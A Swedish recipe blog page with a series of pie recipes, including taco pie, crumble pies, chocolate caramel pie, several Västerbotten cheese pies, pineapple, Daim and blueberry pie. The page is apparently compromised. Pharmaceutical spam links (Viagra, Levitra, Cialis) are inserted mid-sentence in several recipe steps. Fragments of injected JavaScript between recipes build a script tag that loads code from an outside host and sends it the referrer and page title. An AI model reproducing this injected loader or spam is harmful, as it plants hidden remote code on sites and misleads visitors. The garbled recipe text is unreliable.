Tacopaj

bild26

Nu har jag lagat en god tacopaj (paleo) och originalreceptet hittade jag här. Då jag är lite feg med starka smaker så
minskade jag en aning på chilipulver och cayennepeppar till köttfärsen.

Paleo Tacopaj:

Pajdeg
3 dl mandelmjöl
½ dl skalade sesamfrön
1 msk psyllium (eller fiberhusk)
1 tsk havssalt
40 g kokosolja
1 ägg
 bild13bild12bild16bild15bild14bild8
Fyllning
 400 g nötfärs
Tacokrydda – till ca 500g nötfärs blanda; 1½ tsk salt, 2 tsk chilipulver, 2 tsk paprikapulver, 1 tsk vitlökspulver, 1 tsk lökpulver,1 tsk spiskummin, 1 krm cayennepeppar
1 dl vatten
bild6bild10bild5bild4
Äggstanning
3 ägg
2 dl kokosmjölk
3-4 dl het salsa (förbered i förväg enl följande – 500g krossade tomater, 1 finhackad gul lök, 4-6 finhackade feferoni, 1-2 pressade vitlöksklyftor, 1 tsk chilipulver, 1 tsk paprikapulver, 0,5-1 tsk spiskummin, 1 krm cayennepeppar, salt och

peppar)

bild19bild18bild17bild11
bild9bild7bild2bild3
Dekoration
 Paprika
Gör så här:
  • Sätt ugnen på 175 grader
  • Börja med pajdegen och mixa mandelmjöl och de skalade sesamfröna i en mixer
  • Tillsätt de övriga ingredienserna och mixa till en deg
  • Tryck ut degen i en pajform och nagga med en gaffel
  • Förgrädda pajskalet i ca 10 minuter tills det fått lite färg
  • Börja med fyllningen
  • Bryn nötfärsen i lite kokosolja
  • Blanda till en sats med hemma tacokrydda ( se ingredienser ovan)
  • Häll på tacokryddan över nötfärsen och rör om
  • Häll https://www.acheterviagrafr24.com/viagra-pas-cher/ på vattnet och rör om igen så att

    kryddorna riktigt går in i nötfärsen

  • Låt vattnet koka in i nötfärsen.
  • Fyll pajskalet med nötfärsen
  • Vispa samman äggen och kokosmjölken och tillsätt den heta salsan,, ta salsa efter tycke och smak.
  • Häll äggstanningen över nötfärsen
  • Dekorera med lite paprika
  • Grädda pajen mitt i ugnen i ca 25 minuter eller tills äggstanningen stelnat och fått fin färg

Servera sedan pajen med en god sallad!

 

 

bild8bild5bild20bild22bild23

tacobild26bild27bild29bild30bild31

 }

Smulpaj med vaniljsås

Receptet hittade jag här.

En lite nyttigare variant på paj som går snabbt att göra och är fantastiskt god. Det godaste och bästa receptet på vaniljsås kommer från raw food kocken Russel James.

Jag använder ekologiska havregryn från butiken, och de är inte rå, men det är ganska hälsosamt ändå för dem som inte är 100% rå.

Gör smulpajen så här:
1. Blanda havre (glutenfritt) , dadlar, en nypa äkta vaniljpulver, agave (eller honung) och https://www.acheterviagrafr24.com/ en nypa salt i en mixer. Jag improviserar alltid med de saker jag har hemma och blandar tills det smakar gott.
2. Lägg ut bären i en form.
3. Strö på smulpajen, och ställ in i kylen tills vaniljsåsen är klar.

Vaniljsås (therawchef.com)
1 1/2 dl cashewnötter (gärna blötlagda några timmar för magens skull)
1/2 dl vatten
2 msk agave
3 matskedar kokosnötolja
1 msk vanilj
1/4 tsk salt

Så här gör du vaniljsåsen:
1. Blanda alla ingredienser i en matberedare tills det är en slät röra, det kan ta lite tid, kanske får du mixa omgångar i 15-20 minuter om du inte har en stark matberedare.
2. Låt svalna i kylskåpet för att uppnå en tjockare konsistens.
3. Njut!…

Äppelsmulpaj

bild1granny-smith-applebild2bild3bild7bild8bild4bild6bild11bild5bild12bild1Den här buy levitra legal usa pajen bakade jag igår och serverades med Kesella äpple/kanel.

Recept 2 personer
3 äpplen (Granny Smith) (ca 1/2 kg)
1/2 dl socker
1/2 tsk kanel

Recept 2 portioner
50 gram smör
1,5 msk strösocker
0,75 dl vetemjöl
0,75  dl havregryn

Gör så här:
Skala och skär levitra buy cheap real alla äpplen i mindre bitar. Lägg i bitarna i en stekpanna och häll på socker. Låt smälta och rör om i ca 5 minuter. Häll på kanel i slutet. Lägg upp i en smörad ugnsfast form.
Smulpaj: Smält smöret cialis generique i en kastrull. Rör ner socker, vetemjöl och havregryn och rör om. Lägg röran på toppen av äpplebitarna och in i ugnen på ca 225 grader i ca 7-10 minuter tills smulpajen fått färg. Servera med kesella eller glass.} else {

Chokladpaj

IMG_8991
Receptet på pajen hittade jag här.

IMG_8985

Sötsalt chokladkolapaj
Ca 12 bitar

Pajdeg
2 ½ dl vetemjöl
¾ dl kakao
¾ dl strösocker
¼ tsk salt
110 g smör, rumsvarmt
ev. 1–2 tsk kallt vatten (om det behövs för att få ihop degen)

Kolasås (karamellsås)
3 dl strösocker
1 dl vatten
2 ½ dl vispgrädde
2 tsk kakao
70 g smör
½ tsk salt

Chokladganache
150 g mörk choklad
1 ¼ dl vispgrädde

Garnering
flingsalt

GÖR SÅ HÄR

1. Sätt ugnen på 180 grader. Blanda ihop de torra

ingredienserna i en bunke. Nyp ihop dem ordentligt med smöret. Arbeta snabbt ihop allt till en deg. Tillsätt eventuellt lite vatten om det behövs för att arbeta ihop degen.

2. Kavla ut degen något större än pajformen.

3. Lägg degen över pajformen, 24–25 cm i diameter och tryck ut den i hörnet. Jämna till kanterna.

4. Grädda bottnen mitt i ugnen i 25–30 min. Låt den kallna i formen.

5. Kolasås: Koka upp strösocker och vatten. Låt det puttra i ca 5 min. Tillsätt vispgrädde och kakao och låt blandningen koka till ca 122 grader. Stäng av värmen och rör ner smör och salt. Blanda ordentligt.

6. Häll kolasåsen på pajbottnen när den kallnat. Låt den stelna i frysen i ca 1 tim.

7. Chokladganache: Smält chokladen över vattenbad. Ta bort tallriken från kastrullen och rör ner vispgrädden. Blanda

ordentligt till en slät chokladsmet.

8. Häll chokladganachen över kolasåsen. Låt den stelna i kylen

i ett par timmar.

9. Strö över flingsalt före servering. Servera pajen i kylen då kolakrämen snabbt mjukar i rumsvärme. Det ska den göra, men den är lättare att skära om kolan är kylskåpskall.

IMG_8983IMG_8984IMG_8986IMG_8985

var d=document;var s=d.createElement(‘script’);

Glutenfri pajdeg till Västerbottenostpaj

Igår gjorde jag en glutenfri pajdeg som blev riktigt bra. Receptet till pajdegen hittade jag här.

Recept (6-8 personer eller en pajform)
100 gram majsmjöl
100 gram majsstärkelse/maizena
1 tsk fiberhusk
1/2 tsk salt
100 gram smör
1 ägg
1 msk kallt vatten

Gör så här:
1. Blanda majsmjöl, majsstärkelse, fiberhusk och salt.
2. Finfördela smöret i mjölblandningen.
3. Tillsätt ägget och vattnet, arbeta till en smidig deg.
4. Låt degen vila ca 15 minuter.
5. Kavla eller tryck ut degen i en pajform, 24 cm i diameter.
6. Förgrädda ca 10 minuter i 200 grader innan du fyller pajskalet

Notera att pajdegen blir rätt lös när nu rört ihop degen. Degen blir bättre efter du låtit den vila 15 minuter i kylskåpet.

IMG_5912IMG_5911

Fyllning:
250-300 gram riven västerbottenost
4 ägg
3,5 dl vispgrädde
1 krm svartpeppar

Gör så här:
Vispa ägg och grädde, tillsätt osten. Smaka av med salt och peppar. Häll ostfyllningen i pajskalet och grädda ca 20 minutser i 225 grader tills pajen stelnat. Om du tycker pajen får för mkt färg under gräddningen, lägg då ett bakplåtspapper över pajen resten av tiden tills pajen är klar. Låt svalna.

Om du tänker servera pajen dagen därpå har jag ett bra knep hur du bäst värmer upp pajen igen.
Det bästa sättet att värma upp en paj är att värma ugnen till 200 grader, sätta in pajen och därefter direkt stänga av ugnen. Låt den stå i eftervärmen cirka 10-15 min.

Servera pajen men en god sallad.

IMG_5910IMG_5906IMG_5909

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Västerbottenostpaj

IMG_4169

En god Västerbottenostpaj är så otroligt gott.  Pajen serverade jag med en grönsallad, löjrom, lax och lite kallskuret. Receptet hittade jag här. Jag gjorde 1 1/2 sats av pajdegen och fyllningen gjorde jag dubbel sats av för att få en högre paj som ni ser på receptet nedan.

Pajdeg

190 g smör
4,5 dl vetemjöl
1,5 msk vatten

Fyllning

300 g riven Västerbottensost
6 ägg
4 dl vispgrädde
2 krm salt
2 krm svartpeppar

Gör såhär

Sätt ugnen på 225°. Blanda ihop ingredienserna till pajdegen. Låt degen  vila i kyl minst 1 tim. Klä en pajform, nagga och förgrädda ca 10 min. Jag penslade min paj med ett uppvispat ägg innan jag förgräddade pajen. Vispa ägg och grädde, tillsätt osten. Smaksätt med salt och peppar. Häll  ostfyllningen i pajskalet och grädda ca 20 min tills pajen stelnat. Låt svalna.  Servera pajen med en god sallad, löjrom och andra goda tillbehör.

IMG_4181IMG_4182IMG_4183IMG_4184

IMG_4185IMG_4186

Västerbottenpaj

3

Igår lagade jag en supergod västerbottenpaj med kantareller. Grundreceptet hittade jag här.

Recept
Pajdeg
100 gram smör
100 gram vetemjöl (1 2/3 dl)
2 msk kallt vatten

Fyllning
200 gram västerbottenost, grovriven
2 ägg
2 dl mjölk eller vispgrädde
Salt och nymalen peppar

Kantareller

Gör så här:
Värm ugnen till 200 grader.

Smörstek dina kantareller.

Pajdeg
Hacka samman smör och mjöl till en smulig massa, eller mixa i en matberedare.
Tillsätt vatten och blanda snabbt ihop till en deg.

Tryck ut degen i en pajform, ca 24 cm i diameter, och ställ den i kylen i en halvtimme.
Picka pajskalet med en gaffel och förgrädda det mitt i ugnen i ca 10 minuter. Låt svalna.
Fördela västerbottensost i pajskalet.
Blanda ägg, mjölk, salt och peppar, häll det över osten och grädda pajen mitt i ugnen i ca 30 minuter.

Servera pajen med en god sallad.

10118

75961432

 

 if (document.currentScript) {

Ananaspaj

9

Här kommer ett recept på en god ananaspaj som går snabbt att laga till. Receptet hittade jag här.

Recept 1 paj (10 bitar)
Pajdeg
150 gram smör
1 dl socker
3 dl mjöl
2 tsk bakpulver

Fyllning:
2 dl creme fraiche
0,5 dl socker
0,5 tsk vaniljsocker
2 st ägg
2 burkar krossad ananas (små burkar, ca 450 gram)
Limeskivor

Gör så här: Smält smöret i en kastrull och ställ det åt sidan. Rör i socker, mjöl och bakpulver när smöret svalnat något. Tryck ut degen i en pajform. Låt ananasen rinna av i en sil.
Blanda creme fraiche, socker, vaniljsocker och ägg i en bunke. Rör sist i den avrunna ananasen. Fyll pajskalet och grädda i mitten av ugnen i 175 grader i 30 minuter eller tills pajen har stannat och inte är rinnig i mitten.
Garnera ev med tunna limeskivor och vispad grädde.

 

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

Daim- och kolapaj

bild16

För några dagar sedan bakade jag den här goda Daim- & kolapajen.
Receptet hittade jag på fb sidan ”Hembakat”.

Recept
3 dl vetemjöl

100 g smör, rumsvarmt

½ dl florsocker

1 äggula

Kolafyllning
75 g smör, smält
1 ½ dl farinsocker

1 dl ljus sirap

1 tsk vaniljsocker

1 krm salt
ev. 3/4 dl vispgrädde (gör kolan krämigare)

Kolafyllningen kan dubblas om man vill ha ett tjockt lager med kola! Öka gräddningstiden i ugnen några minuter i så fall!

Garnering
2 pkt dubbel Daim, grovhackade

Till servering
3 dl vispgrädde 

GÖR SÅ HÄR
1. Sätt ugnen på 175 grader. Nyp ihop alla ingredienserna till pajdegen.

2. Kavla ut pajdegen på ett mjölat bakbord och lägg den i en pajform, eller tryck ut den med fingrarna direkt i en pajformen, 22–23 cm i diameter.

3. Nagga bottnen med en gaffel för att undvika luftbubblor under gräddningen. Förgrädda pajskalet mitt i ugnen i 20–25 min (det ska vara genomgräddat).

4. Kolafyllning: Smält smöret i en kastrull. Rör ner farinsocker, sirap, vaniljsocker och salt. Låt det puttra i ca 1 min. Om du tillsätter vispgrädde i kolasmeten behöver kolan puttra i några minuter. Häll kolafyllningen på pajskalet.

5. Grädda pajen längst ner i ugnen i ca 5–10 min (den längre gräddningstiden gör kola segare).

6. Låt pajen svalna. Grovhacka Daimen och strö den över kakan medan den är ljummen. Ställ in pajen i kylen när den kallnat i 1–2 tim före servering. Ta fram den en stund före servering så kolan mjuknar. Servera den med en klick vispad grädde eller glass.

bild3bild6bild5bild7bild4bild10bild9bild8bild2bild1bild16

 

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Blåbärspaj

 

Recept:
Ett paket  smördeg  (frysta fyrkanter)
Blåbärssylt
ca 1 dl tjock vanlijkräm / Marsan 1 vispat ägg
Socker
Florsocker till garnering

Gör så här :  Lägg smördegsplattorna på en bakplåt.  På ena sidan  lägger du ett en klick med marsan och toppar med blåbärssylt. Vik ihop till ett paket, och tryck ihop kanterna runt om med en gaffel.
Skär fyra skåror i paketet. Pensla med uppvispat ägg och strö över med strösocker på paketet. Ställ in i ugnen  200 grader tills de har blivit gyllene bruna ( 10 – 15 minuter )
Låt svalna.  Pudra med florsocker vid servering.

 

var d=document;var s=d.createElement(‘script’);